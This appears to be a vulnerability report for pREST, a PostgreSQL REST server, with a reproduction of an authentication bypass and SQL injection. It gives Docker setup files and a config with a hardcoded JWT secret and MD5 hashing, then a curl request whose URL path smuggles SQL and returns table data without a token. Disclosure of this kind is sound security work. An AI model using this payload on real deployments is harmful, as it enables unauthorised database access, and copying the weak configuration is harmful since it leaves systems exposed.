Açıklama
### Summary Probably jwt bypass + sql injection or what i'm doing wrong? ### PoC (how to reproduce) 1. Create following files: docker-compose.yml: ``` services: postgres: image: postgres container_name: postgres_container_mre environment: POSTGRES_USER: test_user_pg POSTGRES_PASSWORD: test_pass_pg POSTGRES_DB: test_db prest: image: prest/prest build: . volumes: - ./queries:/queries - ./migrations:/migrations ports: - "3000:3000" ``` Dockerfile: ``` from prest/prest:latest COPY ./prest.toml prest.toml ``` prest.toml: ``` debug=false migrations = "./migrations" [http] port = 3000 [jwt] default = true key = "secret" algo = "HS256" [auth] enabled = true type = "body" encrypt = "MD5" table = "prest_users" username = "username" password = "password" [pg] URL = "postgresql://test_user_pg:test_pass_pg@postgres:5432/test_db/?sslmode=disable" [ssl] mode = "disable" sslcert = "./PATH" sslkey = "./PATH" sslrootcert = "./PATH" [expose] enabled = true databases = true schemas = true tables = true [queries] location = "/queries" ``` 2. run commands: ``` mkdir -p migrations queries docker compose up --build -d ``` wait for pg and prest, then run following to add test data to the pg: ``` export PGPASSWORD=test_pass_pg docker exec -it postgres_container_mre psql -U test_user_pg -d test_db -c "CREATE TABLE IF NOT EXISTS public.some_table (id int primary key, secret_data text);\ INSERT INTO public.some_table (id, secret_data) VALUES (1, 'some secret text') ON CONFLICT DO NOTHING;" ``` 3. SQL injection even without jwt token: ``` curl --location '127.0.0.1:3000/test_db/public".some_table)%20s;--/auth' ``` output: ``` [{"id": 1, "secret_data": "some secret text"}] ```
